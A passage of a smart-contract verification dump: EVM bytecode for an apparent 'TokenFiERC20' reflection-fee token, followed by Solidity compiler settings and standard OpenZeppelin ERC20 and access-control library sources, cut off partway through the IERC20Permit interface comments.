815260200190815260200160002060009055600193505050506106aa565b60009150506106aa565b6001600160a01b0385166124fb5760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b0384166125215760405162461bcd60e51b81526004016106d9906132b4565b600083116125835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d9565b600061258f8686612152565b90506000601660009054906101000a90046001600160a01b03166001600160a01b031663e75d75d56040518163ffffffff1660e01b81526004016020604051808303816000875af11580156125e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260c91906132f7565b9050806001600160a01b0316876001600160a01b0316148061263f5750806001600160a01b0316866001600160a01b0316145b1561264957600092505b600080600080600061265d8a8a898b611839565b945094509450945094506126708c6110bd565b801561268257506126808b6110bd565b155b1561269b576126968c8c8c8589898e612a94565b612726565b6126a48c6110bd565b1580156126b557506126b58b6110bd565b156126c9576126968c8c8c8589898e612b90565b6126d28c6110bd565b1580156126e557506126e38b6110bd565b155b156126f9576126968c8c8c8589898e612c7b565b6127028c6110bd565b801561271257506127128b6110bd565b15612726576127268c8c8c8589898e612c9f565b8a6001600160a01b03168c6001600160a01b031660008051602061336c8339815191528460405161275991815260200190565b60405180910390a387156127c1576127718382612cf3565b6040516c7265666c656374696f6e46656560981b8152600d01604051908190038120828252906000906001600160a01b038f169060008051602061334c8339815191529060200160405180910390a45b505050505050505050505050565b6001600160a01b0383166127f55760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b03821661281b5760405162461bcd60e51b81526004016106d9906132b4565b6001600160a01b038316600090815260208190526040902054818110156128935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106d9565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602061336c833981519152910160405180910390a3611a3a565b60606106aa6001600160a01b03831660145b606060006129088360026131d3565b612913906002613119565b6001600160401b0381111561292a5761292a612ec3565b6040519080825280601f01601f191660200182016040528015612954576020820181803683370190505b509050600360fc1b8160008151811061296f5761296f6131bd565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061299e5761299e6131bd565b60200101906001600160f81b031916908160001a90535060006129c28460026131d3565b6129cd906001613119565b90505b6001811115612a45576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612a0157612a016131bd565b1a60f81b828281518110612a1757612a176131bd565b60200101906001600160f81b031916908160001a90535060049490941c93612a3e81613314565b90506129d0565b50831561096b5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016106d9565b6001600160a01b0387166000908152601c6020526040902054612ab8908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612ae8908490613106565b6001600160a01b0388166000908152601b60205260409020558015612b49576001600160a01b0386166000908152601b6020526040902054612b2b908390613119565b6001600160a01b0387166000908152601b6020526040902055612b87565b6001600160a01b0386166000908152601b6020526040902054612b6d908490613119565b6001600160a01b0387166000908152601b60205260409020555b50505050505050565b6001600160a01b0387166000908152601b6020526040902054612bb4908490613106565b6001600160a01b0388166000908152601b60205260409020558015612c27576001600160a01b0386166000908152601c6020526040902054612bf7908590613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b2b908390613119565b6001600160a01b0386166000908152601c6020526040902054612c4b908690613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b6d908490613119565b6001600160a01b0387166000908152601b6020526040902054612ae8908490613106565b6001600160a01b0387166000908152601c6020526040902054612cc3908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612bb4908490613106565b602054612d01908390613106565b602055602154612d12908290613119565b6021555050565b600060208284031215612d2b57600080fd5b81356001600160e01b03198116811461096b57600080fd5b600060208284031215612d5557600080fd5b5035919050565b60005b83811015612d77578181015183820152602001612d5f565b50506000910152565b6020815260008251806020840152612d9f816040850160208701612d5c565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611d8f57600080fd5b60008060408385031215612ddb57600080fd5b8235612de681612db3565b946020939093013593505050565b600060208284031215612e0657600080fd5b813561096b81612db3565b600080600060608486031215612e2657600080fd5b8335612e3181612db3565b92506020840135612e4181612db3565b929592945050506040919091013590565b60008060408385031215612e6557600080fd5b823591506020830135612e7781612db3565b809150509250929050565b80358015158114612e9257600080fd5b919050565b60008060408385031215612eaa57600080fd5b82359150612eba60208401612e82565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b604051608081016001600160401b0381118282101715612f0957634e487b7160e01b600052604160045260246000fd5b60405290565b600060808284031215612f2157600080fd5b612f29612ed9565b8235612f3481612db3565b81526020830135612f4481612db3565b6020820152604083810135908201526060928301359281019290925250919050565b600060408284031215612f7857600080fd5b604080519081016001600160401b0381118282101715612fa857634e487b7160e01b600052604160045260246000fd5b60405282358152905080612fbe60208401612e82565b60208201525092915050565b60006101008284031215612fdd57600080fd5b612fe5612ed9565b612fef8484612f66565b8152612ffe8460408501612f66565b60208201526130108460808501612f66565b60408201526130228460c08501612f66565b60608201529392505050565b805182526020908101511515910152565b610100810161304e828761302e565b61305b604083018661302e565b613068608083018561302e565b61307560c083018461302e565b95945050505050565b6000806040838503121561309157600080fd5b823561309c81612db3565b91506020830135612e7781612db3565b60208082526024908201527f546f6b656e466945524332303a207265666c656374696f6e206e6f7420656e61604082015263189b195960e21b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b818103818111156106aa576106aa6130f0565b808201808211156106aa576106aa6130f0565b600181811c9082168061314057607f821691505b60208210810361316057634e487b7160e01b600052602260045260246000fd5b50919050565b60008261318357634e487b7160e01b600052601260045260246000fd5b500490565b6020808252601b908201527a2a37b5b2b72334a2a92199181d1036bab9ba1031329030b236b4b760291b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b80820281158282048414176106aa576106aa6130f0565b634e487b7160e01b600052603160045260246000fd5b76020b1b1b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b815260008351613232816017850160208801612d5c565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613263816028840160208801612d5c565b01602801949350505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60006020828403121561330957600080fd5b815161096b81612db3565b600081613323576133236130f0565b50600019019056fe6c0757dc3e6b28b2580c03fd9e96c274acf4f99d91fbec9b418fa1d70604ff1c2022773e2291f2fc9298b5ad7d60fae5174151fe00b975c5bdbbe737ba1bfc2fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef546f6b656e466945524332303a207265666c656374696f6e2070657263656e74a164736f6c6343000817000a
|
{{
"language": "Solidity",
"settings": {
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "none",
"useLiteralContent": true
},
"optimizer": {
"enabled": true,
"runs": 10
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
},
"sources": {
"@openzeppelin/contracts/access/AccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControl.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/Strings.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```solidity\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```solidity\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}\n * to enforce additional security measures for this role.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Modifier that checks that an account has a specific role. Reverts\n * with a standardized message including the required role.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n *\n * _Available since v4.1._\n */\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n _;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view virtual override returns (bool) {\n return _roles[role].members[account];\n }\n\n /**\n * @dev Revert with a standard message if `_msgSender()` is missing `role`.\n * Overriding this function changes the behavior of the {onlyRole} modifier.\n *\n * Format of the revert message is described in {_checkRole}.\n *\n * _Available since v4.6._\n */\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n /**\n * @dev Revert with a standard message if `account` is missing `role`.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n */\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(account),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n *\n * May emit a {RoleGranted} event.\n */\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n *\n * May emit a {RoleRevoked} event.\n */\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been revoked `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n *\n * May emit a {RoleRevoked} event.\n */\n function renounceRole(bytes32 role, address account) public virtual override {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * May emit a {RoleGranted} event.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n *\n * NOTE: This function is deprecated in favor of {_grantRole}.\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n _roles[role].adminRole = adminRole;\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * Internal function without access restriction.\n *\n * May emit a {RoleGranted} event.\n */\n function _grantRole(bytes32 role, address account) internal virtual {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * Internal function without access restriction.\n *\n * May emit a {RoleRevoked} event.\n */\n function _revokeRole(bytes32 role, address account) internal virtual {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n"
},
"@openzeppelin/contracts/access/IAccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by\n // decrementing then incrementing.\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n // Overflow not possible: amount <= accountBalance <= totalSupply.\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note 